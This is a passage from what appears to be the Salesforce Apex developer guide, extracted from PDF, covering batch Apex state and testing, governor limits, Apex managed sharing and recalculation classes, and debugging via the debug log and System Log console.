Using Callouts in Batch Apex To use a callout in batch Apex, you must specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>, Database.AllowsCallouts{ }

Callouts include methods defined with the webService keyword, as well as HTTP requests. Using State in Batch Apex Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional scope parameter is considered five transactions of 200 records each. If you specify Database.Stateful in the class definition, you can maintain state across these transaction. This is useful for counting or summarizing records as they're processed. For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the opportunity amounts as they were processed. If you do not specify Database.Stateful, all member variables in the interface methods are set back to their original values. The following example summarizes a custom field total__c as the records are processed:
global class SummarizeAccountTotal implements Database.Batchable<sObject>, Database.Stateful{ global final String Query; global integer Summary; global SummarizeAccountTotal(String q){Query=q; Summary = 0; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> scope){ for(sObject s : scope){Summary = Integer.valueOf(s.get('total__c'))+Summary; } } global void finish(Database.BatchableContext BC){ } }

147

Batch Apex

Using Batch Apex

In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects // Note that the initialState variable is declared as final global class MyBatchable implements Database.Batchable<sObject> { private final String initialState; String query; global MyBatchable(String intialState) { this.initialState = initialState; } global Database.QueryLocator start(Database.BatchableContext BC) { // Access initialState here return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> batch) { // Access initialState here } global void finish(Database.BatchableContext BC) { // Access initialState here } }

Note that initialState is the initial state of the class. You cannot use it to pass information between instances of the class during execution of the batch job. For example, if you changed the value of initialState in execute, the second chunk of processed records would not be able to access the new value: only the initial value would be accessible. Testing Batch Apex To test an Apex class implementing the Database.Batchable interface, you must simulate a batch job by calling each method implemented by the interface directly. The testing framework allows developers to test one execution of the executeBatch method. To guarantee your test runs within the governor limits, add LIMIT 200 to the query. The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the executeBatch method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs. The example below tests the OwnerReassignment class.
public static testMethod void testBatch() { user u = [SELECT ID, username FROM User WHERE username='[email protected]']; user u2 = [SELECT ID, username FROM User WHERE username='[email protected]']; String u2id = u2.id; // Create 200 test accounts - this simulates one execute.

148

Batch Apex

Using Batch Apex

// // // //

Important - the Salesforce.com test framework only allows you to test one execute. Therefore, developers must construct their query to only return 200 records List <Account> accns = new List<Account>(); for(integer i = 0; i<200; i++){ Account a = new Account(name='testAccount'+'i', Ownerid = u.ID); accns.add(a); } insert accns; Test.StartTest(); OwnerReassignment reassign = new OwnerReassignment(); reassign.query='SELECT ID, Name, Ownerid FROM Account WHERE ownerid=\'' + u.id + '\' LIMIT=200'; reassign.email='[email protected]'; reassign.fromUserId = u.Id; reassign.toUser.Id = u2.Id; ID batchprocessid = Database.executeBatch(reassign); Test.StopTest(); System.AssertEquals(database.countquery('SELECT count()' +' FROM Account WHERE ownerid=:u2ID'), 200); }

Batch Apex Governor Limits Keep in mind the following governor limits for batch Apex: Up to five queued or active batch job are allowed. A user can have up to five query cursors open at a time. If five cursors are opened when a client application, still logged in as the same user, attempts open a new one, the oldest of the five cursors is released. Note: Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors open and five batch cursors at the same time. A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed. If no size is specified with the optional scope parameter, Salesforce.com chunks the records returned by the QueryLocator into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute.

Batch Apex Best Practices Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. When you call Database.executeBatch, Salesforce.com only places the job in the queue at the scheduled time. Actual execution may be delayed based on service availability. The Database.executeBatch method takes an optional parameter scope. This parameter specifies the number of records that should be passed into the execute method. This parameter must be less than 200. Use this when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting the operations per transaction.

149

Batch Apex

Understanding Apex Managed Sharing

The testing framework allows developers to test one execution of the executeBatch method. To guarantee your test runs within the governor limits, add LIMIT 200 to the query. The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the executeBatch method to ensure it finishes before continuing your test. Use Database.Stateful with the class definition if you want to share variables or data across job transactions. Otherwise, all instance variables are reset to their initial state at the start of each transaction. Methods declared as future are not allowed in classes that implement the Database.Batchable interface. Methods declared as future cannot be called from a batch Apex class. You cannot call the Database.executeBatch method from within any batch Apex method. In the event of a catastrophic failure such as a service outage, any operations in progress are marked as Failed. You should run the batch job again to correct any errors. When a batch Apex job is run, email notifications are sent either to the user who submitted the batch job, or, if the code is included in a managed package and the subscribing organization is running the batch job, the email is sent to the recipient listed in the Apex Exception Notification Recipient field. Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method. Each batch Apex invocation creates an AsyncApexJob record. Use the ID of this record to construct a SOQL query to retrieve the jobs status, number of errors, progress, and submitter. For more information about the AsyncApexJob object, see AsyncApexJob in the Force.com Web Services API Developer's Guide. All methods in the class must be defined as global. For a sharing recalculation, Salesforce.com recommends that the execute method delete and then re-create all Apex managed sharing for the records in the batch. This ensures the sharing is accurate and complete.

See Also:
Exception Statements Understanding Execution Governors and Limits Understanding Sharing

Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce.com user interface and Force.com, or programmatically using Apex. This section provides an overview of sharing using Apex: Understanding Sharing on page 150 Sharing a Record Using Apex on page 152 Recalculating Apex Managed Sharing on page 157

For more information on sharing, see Setting Your Organization-Wide Default Sharing Model in the Salesforce.com online help.

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity and Case). Administrators first set an object s organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.

150

Batch Apex

Understanding Sharing

Types of Sharing Salesforce.com has the following types of sharing: Force.com Managed Sharing Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and sharing rules: Record Ownership Each record is owned by a user (or optionally a queue for custom objects, cases and leads). The record owner is automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record. Role Hierarchy The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more information, see Controlling Access Using Hierarchies in the Salesforce.com online help. Sharing Rules Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed from Force.com AppExchange. All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce.com user interface, Force.com Web Services API, or Apex. User Managed Sharing, also known as Manual Sharing User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the Modify All object-level permission for the given object or the Modify All Data permission can also manually share a record. User managed sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level. Apex Managed Sharing Apex managed sharing provides developers with the ability to support an applications particular sharing requirements programmatically with Apex. This type of sharing is similar to Force.com managed sharing, only the application developer manages this sharing using Apex. Only users with Modify All Data permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Note: Apex managed sharing is only available for custom objects.

The Sharing Reason Field In the Salesforce.com user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called rowCause in Apex or the Force.com API. The table below shows each Reason field, and the related rowCause value, for different types of sharing based on their values in Salesforce.com, Apex, or the Force.com API:

151

Batch Apex

Sharing a Record Using Apex

Type Force.com Managed Sharing

Reason Field Value

rowCause Value (Used in Apex or the

Force.comAPI) Account Sharing Associated record owner or sharing Owner Sales Team Sharing Rule Territory Assignment Rule User Managed Sharing Manual Sharing Territory Manual Apex Managed Sharing Defined by developer
ImplicitChild ImplicitParent Owner Team Rule TerritoryRule Manual TerritoryManual

Defined by developer

The displayed reason for Apex managed sharing is defined by the developer. Access Levels When determining a users access to a record, the most permissive level of access is used. Most share objects support the following access levels: Access Level Private API Name None Description Only the record owner and users above the record owner in the role hierarchy can view and edit the record. This access level only applies to the AccountShare object. The specified user or group can view the record only. The specified user or group can view and edit the record. The specified user or group can view, edit, transfer, share, and delete the record. Note: This access level can only be granted with Force.com managed sharing.

Read Only Read/Write Full Access

Read Edit All

Sharing a Record Using Apex

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom object:
MyCustomObject__Share

Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail records access is determined by the masters sharing object and the relationships sharing setting. For more information, see Custom Object Security in the Salesforce.com online help.

152

Batch Apex

Sharing a Record Using Apex

A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and profile permissions such as the View All and Modify All object-level permissions for the given object, View All Data, and Modify All Data are not tracked with this object. Every share object has the following properties: Property Name
objectNameAccessLevel

Description The level of access that the specified user or group has been granted for a share sObject. The name of the property is AccessLevel appended to the object name. For example, the property name for LeadShare object is LeadShareAccessLevel. Valid values are: Edit Read All Note: The All access level can only be used by Force.com managed sharing.

This field must be set to an access level that is higher than the organizations default access level for the parent object. For more information, see Access Levels on page 152.
ParentID RowCause UserOrGroupId

The ID of the object. This field cannot be updated. The reason why the user or group is being granted access. The reason determines the type of sharing, which controls who can alter the sharing record. This field cannot be updated. The user or group IDs to which you are granting access. A group can be a public group, role, or territory. This field cannot be updated.

For more information, see the individual sharing objects in the Force.com Web Services API. Creating User Managed Sharing Using Apex It is possible to manually share a record to a user or a group using Apex. If the owner of the record changes, the sharing is automatically deleted. The following class provides an example:
public class JobSharing { static boolean manualShareRead(Id recordId, Id userOrGroupId){ // Create new sharing object for the custom object Job. Job__Share jobShr = new Job__Share(); // Set the ID of record being shared. jobShr.ParentId = recordId; // Set the ID of user or group being granted access. jobShr.UserOrGroupId = userOrGroupId; // Set the access level. jobShr.AccessLevel = 'Read'; // Set rowCause to 'manual' for manual sharing. // This line can be omitted as 'manual' is the default value for sharing objects. jobShr.RowCause = Schema.Job__Share.RowCause.Manual; // Insert the sharing record and capture the save result. // The false parameter allows for partial processing if multiple records passed // into the operation.

153

Batch Apex

Sharing a Record Using Apex

Database.SaveResult sr = Database.insert(jobShr,false); // Process the save results. if(sr.isSuccess()){ // Indicates success return true; } else { // Get first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trival access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception is acceptable. if(err.getStatusCode() == StatusCode.FIELD_INTEGRITY_EXCEPTION err.getMessage().contains('AccessLevel')){ // Indicates success. return true; } else{ // Indicates failure. return false; } } } // Test for the manualShareRead method static testMethod void testManualShareRead(){ // Select users for the test. List<User> users = [select id from user where isActive = true limit 2]; Id user1Id = users[0].Id; Id user2Id = users[1].Id; // Create new job. Job__c j = new Job__c(); j.Name = 'Test Job'; j.OwnerId = user1Id; insert j; // Insert manual share for user who is not record owner. System.assertEquals(manualShareRead(j.Id, user2Id), true); // Query job sharing records. List<Job__Share> jShrs = [select id, userOrGroupId, accessLevel, rowCause from job__share where parentId = :j.Id and userOrGroupId= :user2Id]; // Test for only one manual share on job. System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.'); // Test attributes of manual share. System.assertEquals(jShrs[0].accessLevel, 'Read'); System.assertEquals(jShrs[0].rowCause, 'Manual'); System.assertEquals(jShrs[0].userOrGroupId, user2Id); // Test invalid job Id. delete j; // Insert manual share for deleted job id. System.assertEquals(manualShareRead(j.Id, user2Id), false); } &&

154

Batch Apex

Sharing a Record Using Apex

Important: The object s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 152.

Creating Apex Managed Sharing Apex managed sharing enables developers to programmatically manipulate sharing to support their applications behavior. This type of sharing is similar to Force.com managed sharing, only the application developer manages this sharing using Apex. Only users with Modify All Data permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Note: Apex managed sharing is only available for custom objects.

Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for a developer to track why they shared a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different reasons. Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name: The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench. The name is used when referencing the reason in the API and Apex.

All Apex sharing reason names have the following format:

MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:

Schema.CustomObject__Share.rowCause.SharingReason__c

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Requester__c

For more information, see Schema Methods. on page 239 To create an Apex sharing reason: Click Setup Create Objects. Select the custom object. Click New in the Apex Sharing Reasons related list. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench. 5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the Force.com API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Click Save. 1. 2. 3. 4.

155

Batch Apex

Sharing a Record Using Apex

Apex Managed Sharing Example The following example presumes that you are building a recruiting application and have a custom object called Job. You want the recruiter and hiring manager listed on the job to have full access to the record, similar to the record owner. The following trigger grants the recruiter and hiring manager access when the job record is created:
trigger JobApexSharing on Job__c (after insert) { if(trigger.isInsert){ // Create a new list of sharing objects for Job List<Job__Share> jobShrs = new List<Job__Share>(); // Declare variables for recruiting and hiring manager sharing Job__Share recruiterShr; Job__Share hmShr; for(Job__c job : trigger.new){ // Instantiate the sharing objects recruiterShr = new Job__Share(); hmShr = new Job__Share(); // Set the ID of record being shared recruiterShr.ParentId = job.Id; hmShr.ParentId = job.Id; // Set the ID of user or group being granted access recruiterShr.UserOrGroupId = job.Recruiter__c; hmShr.UserOrGroupId = job.Hiring_Manager__c; // Set the access level recruiterShr.AccessLevel = 'edit'; hmShr.AccessLevel = 'read'; // Set the Apex sharing reason for hiring manager and recruiter recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add objects to list for insert jobShrs.add(recruiterShr); jobShrs.add(hmShr); } // Insert sharing records and capture save result // The false parameter allows for partial processing if multiple records are passed // into the operation Database.SaveResult[] lsr = Database.insert(jobShrs,false); // Create counter Integer i=0; // Process the save results for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error Database.Error err = sr.getErrors()[0]; // Check if the error is related to a trivial access level // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception is // acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_INTEGRITY_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Throw an error when the error is not related to trivial access level.

156

Batch Apex

Recalculating Apex Managed Sharing

trigger.newMap.get(jobShrs[i].ParentId). addError('Unable to grant sharing access due to following exception: ' + err.getMessage()); } } i++; } } }

Important: The object s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 152.

Recalculating Apex Managed Sharing

Salesforce.com automatically recalculates sharing for all records on an object when its organization-wide sharing default access level is changed. The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is considered redundant. For example, manual sharing which grants Read Only access to a user is deleted when the object s sharing model is changed from Private to Public Read Only. To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce.com-provided interface to do the recalculation. You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related list. Note: Apex managed sharing recalculations are currently available through a limited release program. For information on enabling Apex managed sharing recalculations for your organization, contact salesforce.com. You can execute this class from the custom object detail page, where the Apex sharing reason is specified. An administrator might need to recalculate the Apex managed sharing for an object if a locking issue prevented an Apex script from granting access to a user as defined by the applications logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing recalculation. Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes defined for associated custom object are also executed. To monitor or stop the execution of the Apex recalculation, click Setup Monitoring Apex Jobs. For more information, see Apex Job Queue in the Salesforce.com online help. Creating an Apex Class for Recalculating Sharing To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the Salesforce.com-provided interface Database.Batchable. The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can implement this interface more than once in your organization. For more information on the methods that must be implemented, see Using Batch Apex on page 143. Before creating an Apex managed sharing recalculation class, also consider the best practices.

157

Batch Apex

Recalculating Apex Managed Sharing

Apex Managed Sharing Recalculation Example For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation:
global class JobSharingRecalc implements Database.Batchable<sObject> { // The start method is called at the beginning of a sharing recalculation. // This methods returns a SOQL query locator containing the records to be recalculated. // This method must be global. global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c]); } // The executeBatch method is called for each chunk of records returned from start. // This method must be global. global void execute(Database.BatchableContext List<sObject> scope){ // Create a map for the chunk of records passed into method. Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope); // Create a list of Job__Share objects to be inserted. List<Job__Share> newJobShrs = new List<Job__Share>(); // Locate all existing sharing records for the Job records in the batch. // Only records using an Apex sharing reason for this app should be returned. List<Job__Share> oldJobShrs = [select id from Job__Share where Id In :jobMap.keySet() and (rowCause = :Schema.Job__Share.rowCause.Recruiter__c or rowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)]; // Construct new sharing records for the hiring manager and recruiter // on each Job record. for(Job__c job : jobMap.values()){ Job__Share jobHMShr = new Job__Share(); Job__Share jobRecShr = new Job__Share(); // Set the ID of user (hiring manager) on the Job record being granted access. jobHMShr.UserOrGroupId = job.Hiring_Manager__c; // The hiring manager on the job should always have 'Read Only' access. jobHMShr.AccessLevel = 'Read'; // The ID of the record being shared. jobHMShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for hiring manager. // This establishes the sharing record as Apex managed sharing. jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add sharing record to list for insertion. newJobShrs.add(jobHMShr); // Set the ID of user (recruiter) on the Job record being granted access. jobRecShr.UserOrGroupId = job.Recruiter__c; // The recruiter on the job should always have 'Read/Write' access. jobRecShr.AccessLevel = 'Edit'; // The ID of the record being shared. jobRecShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for recruiter. // This establishes the sharing record as Apex managed sharing.

158

Batch Apex

Recalculating Apex Managed Sharing

jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; // Add the sharing record to the list for insertion. newJobShrs.add(jobRecShr); } try { // Delete the existing sharing records. // This allows new sharing records to be written from scratch. Delete oldJobShrs; // Insert the new sharing records and capture the save result. // The false parameter allows for partial processing if multiple records are // passed into operation. Database.SaveResult[] lsr = Database.insert(newJobShrs,false); // Process the save results for insert. for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trivial access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception // is acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_INTEGRITY_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Error is not related to trivial access level. // Send an email to the Apex job's submitter. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {'[email protected]'}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception'); mail.setPlainTextBody ('The Apex sharing recalculation threw the following exception: ' + err.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } } } catch(DmlException e) { // Send an email to the Apex job's submitter on failure. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {'[email protected]'}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception'); mail.setPlainTextBody ('The Apex sharing recalculation threw the following exception: ' + e.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } // The finish method is called at the end of a sharing recalculation. // This method must be global. global void finish(Datbase.BatchableContext BC){ // Send an email to the Apex job's submitter notifying of job completion. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {'[email protected]'}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Completed.'); mail.setPlainTextBody

159

Batch Apex

Recalculating Apex Managed Sharing

('The Apex sharing recalculation finished processing'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } }

Testing Apex Managed Sharing Recalculations To test an Apex class implementing the Database.Batchable interface, you must simulate a sharing recalculation by calling each method implemented by the interface individually. If the class that implements the Database.Batchable interface uses the getAsyncApexJobId method for the Database.BatchInput argument passed into a method, you must stage an AsyncApexJob record for use in the test using the test method setupAsyncApexJob. For more information, see Test Methods on page 283. To test the QueryLocator object returned from the start method, you must use the Database.QueryLocator getQuery method. For more information, see Database Batch Apex Objects and Methods on page 264. The example below tests the class shown in the previous section and demonstrates how to use the Test method setupAsyncApexJob. It also shows how to test the QueryLocator object returned from the start method.
public class JobSharingTester { // Test for the JobSharingRecalc class. static testMethod void testApexSharing(){ // Instantiate the class implementing Database.Batchable interface. JobSharingRecalc recalc = new JobSharingRecalc(); // Declare variables used in staging an AsyncApexJob object. Integer totalItems; Integer itemsProcessed; Integer errs; // Create a new Job for use in test. // At least one Job must exist. Job__c j = new Job__c(); j.Name = 'Test Job'; j.Recruiter__c = UserInfo.getUserId(); j.Hiring_Manager__c = UserInfo.getUserId(); insert j; Test.startTest(); // Call the start method from batchable class. Database.QueryLocator ql = recalc.start(); // Test that the start method from the batchable class returned // the correct query locator. // You must use the QueryLocator.getQuery method to retrieve a string representation // of the query. System.assertEquals(ql.getQuery(), SELECT Id, Hiring_Manager__c, Recruiter__c from Job__c'); // Set variables for calling the executeBatch method from the batchable class: // Number of chunks in the entire batch excution. totalItems = 1; // Number of chunks processed in the entire batch excution. itemsProcessed = 0; // Number of errors in the entire batch excution. Only one error per chunk. errs = 0; // Query records that would be returned from the start method chunking // of the query locator. // Chunk size is 200 records; no more than 200 records should be returned.

160

Batch Apex

Recalculating Apex Managed Sharing

Map<ID, Job__c> jobMap = new Map<ID, JOB__c>( [SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c limit 200]); // Call the execute method from the batchable class. recalc.execute(jobMap.values()); // Query jobs are passed in as arguments to the executeBatch method. // The query returns jobs and related sharing records that were inserted in // the execute method. List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c, (Select Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares where (rowCause = :Schema.Job__Share.rowCause.Recruiter__c or rowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)) from Job__c WHERE Id In :jobMap.keySet()]; // Validate that Apex managed sharing exists on jobs. for(Job__c job : jobs){ // A maximum of two Apex managed sharing records should exist for each job. System.assert(job.Shares.size() <= 2); for(Job__Share jobShr : job.Shares){ // Test the sharing record for hiring manager on job. if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){ System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c); System.assertEquals(jobShr.AccessLevel,'Read'); } // Test the sharing record for recruiter on job. else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){ System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c); System.assertEquals(jobShr.AccessLevel,'Edit'); } } } // Set variables for calling the finish method from the batchable class: // Number of chunks in the entire batch excution. totalItems = 1; // Number of chunks processed in the entire batch excution. itemsProcessed = 1; // Number of errors in the entire batch excution. Only one error per chunk. errs = 0; // Call the finish method from the batchable class. recalc.finish(); Test.stopTest(); } }

Associating an Apex Class Used for Recalculation An Apex class used for recalculation must be associated with a custom object. To associate an Apex managed sharing recalculation class with a custom object: Click Setup Create Objects. Select the custom object. Click New in the Apex Sharing Recalculations related list. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object. 5. Click Save. 1. 2. 3. 4.

161

Chapter 9
Debugging Apex
In this chapter ... Understanding the Debug Log Handling Uncaught Exceptions Understanding Execution Governors and Limits Using Governor Limit Email Warnings
Apex provides the following support for debugging code: Understanding the Debug Log and the Using the System Log Consoletools for debugging code Handling Uncaught Exceptionsuser-friendly error messages and stack traces Understanding Execution Governors and Limitsprevent runaway scripts from monopolizing shared resources Using Governor Limit Email Warningsused with the governor limits

162

Debugging Apex

Understanding the Debug Log

Understanding the Debug Log

A debug log records errors and system processes that occur in your organization. Debug logs contain information about: Database changes Automated workflow processes, such as: Workflow rules Assignment rules Escalation rules Auto-response rules Approval processes

Validation rules Request-response XML Apex script errors Resources used by an Apex script Note: The debug log is limited to one million characters for a single program.

You can retain as well as manage the debug logs for specific users in your organization. To view the debug logs, as well as specify which users should have their debug logs retained, click Setup Monitoring Debug Logs. The total number of debug logs retained for an organization is twenty. Once that number is reached, the user is removed from the list of users with debug logs being retained. After an organization has twenty debug logs retained, the oldest debug logs start being overwritten.

Using the System Log Console

The System Log console is a separate window that can be used for debugging code snippets. Access the System Log console from the Salesforce.com user interface by clicking System Log in the upper right of any page. Enter the code you want to test at the bottom of the window and click Execute. The body of the System Log displays system resource information (such as how long a line took to execute or how many database calls were made) as well as debugging information if the code didn't run to completion. The System Log may also contain information about workflow rules, validation rules, assignment rules, escalation rules, and approval processes.

163

Debugging Apex

Debugging Apex API Calls

Figure 8: The System Log Console In the System Log console, you have the following options: Select Wrap to make the text in the display window wrap. Select Newest at the top to show the latest debugging information at the top of the display window. The default is for it to display at the bottom. Select the Log category to specify the type of information to log. Select the Log level to specify how much information to log. Click Clear to remove all text from the display window. Click Close to exit the System Log window.

For more information on log categories and levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help. The System Log console is divided into two main areas. The debug log information is displayed at the top of the console. Below the debug log information is a text entry box where you can enter anonymous statements and then click Execute. You must have Author Apex permission to use the text entry box. Any Apex script that you enter into the text entry box runs as if you had executed it using ExecuteAnonymous. You cannot use the keyword static in code that you enter directly into the System Log console. In addition, although you can have DML statements (such as insert or delete), those actions are not actually performed. Caution: If you are exercising methods defined as testMethod by calling the class that contains them using the System Log console, all DML statements actually are executed. This may add unwanted data to your organization. For more information, see Anonymous Blocks on page 80.

Debugging Apex API Calls

All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the script, including any calls to System.debug(). In addition to the System Log console, a SOAP input header called DebuggingHeader allows you to set the logging granularity according to the levels outlined in the following table.

164

Debugging Apex

Debugging Apex API Calls

Element Name
LogCategory

Type
string

Description Specify the type of information returned in the debug log. Valid values are: Db Workflow Validation Callout Apex_code Apex_profiling All For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.

LogCategoryLevel

string

Specifies the amount of information returned in the debug log. Only the Apex_code LogCategory uses the log category levels. Valid log levels are (listed from lowest to highest):
ERROR WARN INFO DEBUG FINE FINER FINEST

For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.

* Link goes to the Force.com Web Services API Developer's Guide. In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility. Log Level
NONE DEBUGONLY DB PROFILE

Description Does not include any log messages Includes lower level messages, as well as messages generated by calls to the System.debug method Includes log messages generated by calls to the System.debug method, as well as every data manipulation language (DML) statement or inline SOQL or SOSL query Includes log messages generated by calls to the System.debug method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time, along with the number of times they were executed. Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls.

CALLOUT

165

Debugging Apex

Handling Uncaught Exceptions

Log Level
DETAIL

Description Includes all messages generated by the Fine or Finer log levels as well additional information on Apex scripts, including the following: Variable declaration statements Start of loop executions All loop controls, such as break and continue Thrown exceptions Static and class initialization code Any changes in the with sharing context

The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader on page 399.

Handling Uncaught Exceptions

